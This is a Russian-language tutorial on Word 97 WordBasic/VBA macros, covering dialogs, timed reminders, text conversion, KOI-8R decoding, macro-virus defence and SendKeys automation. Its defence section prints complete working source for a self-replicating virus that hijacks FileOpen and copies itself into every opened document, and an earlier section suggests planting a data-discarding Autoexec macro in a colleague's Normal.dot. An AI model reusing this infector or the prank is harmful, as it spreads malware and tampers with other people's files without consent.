Logo Море(!) аналитической информации!
IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware
Скидка до 20% на услуги дата-центра. Аренда серверной стойки. Colocation от 1U!

Миграция в облако #SotelCloud. Виртуальный сервер в облаке. Выбрать конфигурацию на сайте!

Виртуальная АТС для вашего бизнеса. Приветственные бонусы для новых клиентов!

Виртуальные VPS серверы в РФ и ЕС

Dedicated серверы в РФ и ЕС

По промокоду CITFORUM скидка 30% на заказ VPS\VDS

VPS/VDS серверы. 30 локаций на выбор

Серверы VPS/VDS с большим диском

Хорошие условия для реселлеров

4VPS.SU - VPS в 17-ти странах

2Gbit/s безлимит

Современное железо!

WordBasic и макровирусы

Марина Миланина, Diamond Team
  1. Общие замечания
  2. Диалоги
  3. Как распланировать перекуры...
  4. Как перенести текст из Dos-редактора в Word
  5. Как прочитать испорченное письмо
  6. Как защититься от макровирусов
  7. Как управлять любой Windows-программой

Мое знакомство с Microsoft Word началось полтора года назад, когда мне впервые понадобилось оформить довольно большой текстовый документ - дипломную работу. Теперь я с трудом могу представить свое рабочее место без привычной иконки.

В Word можно делать многое: набирать и редактировать текст, рисовать несложные картинки, даже верстать книжки. Существует немало книг, посвященных работе с Word, однако в них слабо или совсем не затронут язык макрокоманд - WordBasic.

Между тем WordBasic - удобный и простой язык программирования, позволяющий автоматизировать рутинную работу с тестовыми документами, управлять любыми Windows-программами и даже написать вирус.

В приведенных примерах я постаралась продемонстрировать наиболее полезные возможности WordBasic и показать возможности языка.

1. Общие замечания.

Проще всего создать макрос с помошью команды Сервис->Макрос->Начать запись. Все действия пользователя до нажатия кнопки Стоп записываются в макрос и воспроизводятся при запуске этого макроса. Такой способ не позволяет организовывать циклы и выдавать сообщения пользователю, поэтому для написания полноценной программы необходимо отредактировать записанный макрос. Для этого в Word 6.0 и 7.0 необходимо выбрать команду Сервис ->Макрос-> Изменить. (Сервис->Макрос->Редактор VisualBasic в Word97).

Полное описание команд WordBasic поставляется вместе с Word, но не устанавливается по умолчанию. Если Вы не можете отыскать этот раздел в Вашей справочной системе, значит необходимо установить его с дистрибутивного диска Word.

2. Диалоги

В любом справочнике по программированию написано, что хорошая программа должна быть интерактивной, то есть должна уметь вести диалог с пользователем. Рассмотрим, как это можно сделать с помощью WordBasic.

Напишем совсем коротенькую программку, выдающую на экран сообщение.

Sub Hello()

  MsgBox "Hello Word", vbInformation, "Мое первое сообщение"

End Sub

Первый параметр функции MsgBox задает текст сообщения, второй - тип сообщения, т.е. значок и кнопки, а третий задает заголовок окна сообщения.

Теперь попробуем усложнить программу. Пусть она выводит на экран сообщение с надписью "Закрыть Word?" и кнопками "Ok" и "cancel". Кроме того пусть программа закрывает Word по нажатию Ok.

Sub Hello()

  If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then

     Application.Quit

  End If    

End Sub

Здесь мы используем возвращенное функцией MsgBox значение для того, чтобы определить на какую кнопку нажал пользователь.

Если функция возвратила vbOK, т.е. пользователь выбрал кнопку OK, мы вызываем метод Quit объекта Application (объектом Application является сам Word).

Но это еще не все. При выходе Word выдает предупреждения, если изменения в файлах не сохранены. Модифицируем программу так, чтобы эти сообщения не появлялись. Для этого установим свойство DisplayAlerts объекта Application, управляющее выводом сообщений на экран в false и укажем параметр wdDoNotSaveChanges (не сохранять изменения) для метода Application.Quit


Sub Hello()

Application.DisplayAlerts = False

  If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then

      Application.Quit wdDoNotSaveChanges

  End If

End Sub

Макрос готов. Хотите удивить коллегу? Перепишите ему этот макрос в шаблон Normal.dot под названием Autoexec (макросы с таким названием выполняются автоматически при запуске Word).

3. Как распланировать перекуры...

Предположим, что сотрудники Вашего отдела слишком часто курят, или, наоборот ,так увлекаются работой, что забывают пообедать (это конечно маловероятный случай).

Вторая программа, которую мы напишем, будет напоминать, что уже можно сходить покурить, или, скажем, пообедать. Метод OnTime объекта application позволяет задать время выполнения макроса. Синтаксис у этого метода следующий:

Application.OnTime(When, Name, Tolerance)

Здесь When указывает время выполнения, Name - это имя макроса, который необходимо выполнить, Tolerance - необязательный параметр, указывающий на промежуток времени, в течение которого должен выполниться макрос.

В нашей программе сообщения будут выдаваться каждый час. Назовем первый макрос AutoExec, чтобы он запускался при старте Word. В нашем случае метод onTime использует функции Now, чтобы определить текущее время, и TimeValue для того, чтобы задать промежуток равный часу. Макрос Message выдает сообщение и задает следующий интервал выполнения.


Sub AutoExec()

  Application.OnTime Now + TimeValue("00:01:00"), "Message"

End Sub



Sub Message()

 MsgBox ("Теперь можно и покурить...")

 Application.OnTime Now + TimeValue("00:01:00"), "Message"

End Sub

Слегка видоизменив макрос, можно написать даже целое расписание на рабочий день. Единственное, о чем следует помнить - такие макросы лучше всего сохранять в глобальном шаблоне Normal.dot, чтобы они были всегда доступны.

4. Как перенести текст из Dos-редактора в Word

Возможно, в Вашем офисе тоже есть бухгалтер, до сих пор предпочитающий работать под Dos. Время от времени Вам необходимо работать с его текстовыми файлами. Часто в таких случаях открытый файл занимает лишь часть страницы и выглядит следующим образом:


Отчет по продажам рогов и копыт.



За истекший период рога и копыта

были проданы Мурманским филиалом

на сумму девятнадцать миллионов 

семьдесят тысяч теньге, Астраханским

филиалом на пятнадцать миллионов...

Как видите, текст занимает только полэкрана. Проблема состоит в том, что текстовые редакторы под Dos расставляют символы конца абзаца в конце каждой строки. Широко известен алгоритм, позволяющий преобразовать такие документы к нормальному виду Word.

  1. Заменить два подряд идущих символа конца абзаца на символ табуляции.
  2. Заменить символы конца абзаца на пробелы.
  3. Заменить символы табуляции на символы конца абзаца.

Довольно утомительно каждый раз проводить такие замены вручную, поэтому напишем макрос, который будет это делать за нас.


Sub FormatDosText()

    Selection.WholeStory                           Rem Выделяем весь текст

    Selection.Find.ClearFormatting	               Rem Снимаем предыдущие условия поиска

    Selection.Find.Replacement.ClearFormatting     Rem Снимаем предыдущие условия замены



    With Selection.Find					Rem Задаем новые условия поиска и замены

        .Text = "^p^p"					Rem Замена двух концов абзаца на символ табуляции

        .Replacement.Text = "^t"

        .Forward = True

        .Wrap = wdFindContinue

        .Format = False

        .MatchCase = False

        .MatchWholeWord = False

        .MatchWildcards = False

        .MatchSoundsLike = False

        .MatchAllWordForms = False

    End With

    Selection.Find.Execute Replace:=wdReplaceAll Rem Производим замену

    With Selection.Find

        .Text = "^p"					Rem Замена конца абзаца на пробел

        .Replacement.Text = " "

        .Forward = True

        .Wrap = wdFindContinue

        .Format = False

        .MatchCase = False

        .MatchWholeWord = False

        .MatchWildcards = False

        .MatchSoundsLike = False

        .MatchAllWordForms = False

    End With

    Selection.Find.Execute Replace:=wdReplaceAll

    With Selection.Find

        .Text = "^t"					Rem Замена символа табуляции на символ конца абзаца

        .Replacement.Text = "^p"

        .Forward = True

        .Wrap = wdFindContinue

        .Format = False

        .MatchCase = False

        .MatchWholeWord = False

        .MatchWildcards = False

        .MatchSoundsLike = False

        .MatchAllWordForms = False

    End With

    Selection.Find.Execute Replace:=wdReplaceAll

End Sub

Вообще говоря, для выполнения любых однотипных действий лучше создать макрос. Практика показывает, что потраченное на это время с лихвой окупается в дальнейшем. К тому же Вы избавляетесь от массы рутинной работы.

5. Как прочитать испорченное письмо

При работе с электронной почтой время от времени приходится сталкиваться с нечитаемыми сообщениями. Обычно это связано с проблемами кириллицы в российской части Интернет. Стандартной кодировкой кириллицы при работе с почтой считается KOI-8R, т.е. Unix-кодировка. Так как письмо проходит через большое количество почтовых серверов и некоторые из них считают своим долгом перекодировать ваше письмо в Koi, бывает, что письмо приходит адресату в совершенно неузнаваемом виде. Следующий макрос, который мы напишем, будет бороться с этой проблемой, переводя сообщение из Koi в Windows-кодировку.

Идея очень проста. В двух строковых переменных WinCodePage и KoiCodePage зададим кодовые таблицы Windows и Koi, затем будем заменять i-тую букву из строки WinCodePage на i-тую букву cтроки KoiCodePage. При этом будем отмечать курсивом уже замененные буквы, чтобы не заменить одну и ту же букву дважды.




Sub KoiToWin()

KoiCodePage = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯабвгдежзийклмнопрстуфхцчшщьыъэюя"

Rem задали строку кодировки Windows

WinCodePage = "бвчздецъйклмнопртуфхжигюыэшщяьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАС"

Rem задали строку кодировки Koi

    Selection.Find.ClearFormatting

Rem Заменяем только не курсив

   Selection.Find.Font.Italic = False 

   Selection.Find.Replacement.ClearFormatting

   Selection.Find.Replacement.Font.Italic = True 

Rem Заменяем на курсив

Rem Обратите внимание, замену производится с учетом форматирования.

Rem Выделяем курсивом уже преобразованные буквы, иначе некоторые буквы будут 

Rem преобразованы дважды.

    

    For i = 1 To Len(WinCodePage) rem Функция Len определяет длину строки

      MySearch = Mid(KoiCodePage, i, 1) 

      MyReplace = Mid(WinCodePage, i, 1)

Rem Функция Mid вырезает из строки WinCodePage i-тую букву



        With Selection.Find

        .Text = MySearch

        .Replacement.Text = MyReplace

        .Forward = True

        .Wrap = wdFindContinue

        .Format = True

        .MatchCase = True

        .MatchWholeWord = False

        .MatchWildcards = False

        .MatchSoundsLike = False

        .MatchAllWordForms = False

    End With

    Selection.Find.Execute Replace:=wdReplaceAll

    Next i

    

Rem Снимаем курсив

    Selection.WholeStory

    With Selection.Font

        .Italic = False

    End With

End Sub

Для обратного кодирования нужно только поменять местами имена MySearch и MyReplace.

Теперь Вы сможете не только прочитать все почтовые сообщения, но и перекодировать HTML-документы для публикации их в Web.

6. Как защититься от макровирусов

Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого - они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск. Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение.

В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение".

Еще один вариант - при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto - сотрите их немедленно.

В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:

  • AutoExec - Запускается при старте Word или загрузке глобального шаблона
  • AutoNew - Запускается при создании нового документа
  • AutoOpen - Запускается при открытии документа
  • AutoClose - Запускается при закрытии документа
  • AutoExit - Запускается при выходе из Word или при закрытии глобального шаблона.

Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако мне такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов:


Sub Autoexec()

  MsgBox "Не допустим размножения вирусов!"

  WordBasic.DisableAutoMacros

End Sub

Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы. Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.

Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office'97 позволяет хранить макросы непосредственно в документе - следовательно, возможностей распространения вирусов становится больше.

Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.


Sub FileOpen()

 InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name

Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.

  Dialogs(wdDialogFileOpen).Show

Rem Имитируется диалог Файл->Открыть файл

  Infected = False

  For Each VbComponent In ActiveDocument.VBProject.VBComponents

      If VbComponent.Name = "Virus" Then Infected = True

Rem Здесь открытый пользователем файл проверяется на наличие вируса

  Next

  If Not Infected Then

Rem Если файл не заражен, вирус дописывается в файл

    CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath

  End If

End Sub



Public Sub CopyMacro(NewDestination, NewSource)

  On Error GoTo nextline

    Application.OrganizerCopy Source:= _

        NewSource, Destination:=NewDestination, Name:="Virus", Object:= _

        WdOrganizerObjectProjectItems

Rem копируем модуль с вирусом  

     ActiveDocument.Save 

Rem сохраняем документ

nextline:

End Sub

Как видите, этот вирус не использует имена автомакросов, и написанный нами выше макрос autoexec() от него не спасет:)

По правде сказать, мне не известен способ защиты от таких вирусов. Единственное, чо можно порекомендовать: просматривайте подозрительные файлы и стирайте обнаруженные макросы с именами типа FileOpen, FileNew, FileSave или FileSaveAs.

7. Как управлять любой Windows-программой

Управление Windows-приложениями представляется сложным даже для опытных программистов. Однако с помощью WordBasic любой пользователь может управлять приложениями, поддерживающими ввод с клавиатуры. Напишем макрос, который запускает Netscape Navigator и загружает страницу с адресом www.diamondteam.ru.

Сначала запустим Netscape Navigator командой Shell ("C:\netscape\program\netscape.exe", vbNormalFocus). Первый параметр команды указывает путь к приложению, второй определяет вид окна приложения.

Используем команду SendKeys для имитации ввода с клавиатуры в активное окно Windows.


Sub Navigator()

   MySHell = Shell("C:\netscape\program\netscape.exe", vbNormalFocus)

   SendKeys "{ENTER}", True  

Rem имитируем нажатие на клавишу enter

   SendKeys "{TAB}", True

Rem имитируем нажатие на клавишу tab

   SendKeys "http://www.diamondteam.ru", True

   SendKeys "{ENTER}", True

End Sub

Итак, для управления любым Windows-приложением необходимо просто запустить приложение, сделать его окно активным и с помощью команды SendKeys "ввести с клавиатуры" все, что необходимо. Согласитесь, это гораздо проще, чем бороться с сообщениями Windows.

В заключение я хочу перечислить случаи, когда на мой взгляд, удобнее пользоваться макросами Word, а не другими средствами программирования:

  • При обработке документов Word, поскольку формат документов Word до сих пор является тайной, тщательно скрываемой компанией Microsoft.
  • При обработке текстовых документов, особенно связанной с поиском и заменой. Word предоставляет Вам массу удобных функций для работы с текстом.

Если у Вас есть замечания и вопросы по поводу этого обзора, пишите на адрес: dt@postman.ru. (Макровирусы присылать исключительно в текстовом виде:)).

Примечание: Все приведенные примеры написаны на версии WordBasic для Office'97.

Бесплатный конструктор сайтов и Landing Page

Хостинг с DDoS защитой от 2.5$ + Бесплатный SSL и Домен

SSD VPS в Нидерландах под различные задачи от 2.6$

✅ Дешевый VPS-хостинг на AMD EPYC: 1vCore, 3GB DDR4, 15GB NVMe всего за €3,50!

🔥 Anti-DDoS защита 12 Тбит/с!

VPS в 21 локации

От 104 рублей в месяц

Безлимитный трафик. Защита от ДДоС.

🔥 VPS до 5.7 ГГц под любые задачи с AntiDDoS в 7 локациях

💸 Гифткод CITFORUM (250р на баланс) и попробуйте уже сейчас!

🛒 Скидка 15% на первый платеж (в течение 24ч)

Новости мира IT:

Архив новостей

IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware

Информация для рекламодателей PR-акции, размещение рекламы — adv@citforum.ru,
тел. +7 495 7861149
Пресс-релизы — pr@citforum.ru
Обратная связь
Информация для авторов
Rambler's Top100 TopList liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня This Web server launched on February 24, 1997
Copyright © 1997-2000 CIT, © 2001-2019 CIT Forum
Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав. Подробнее...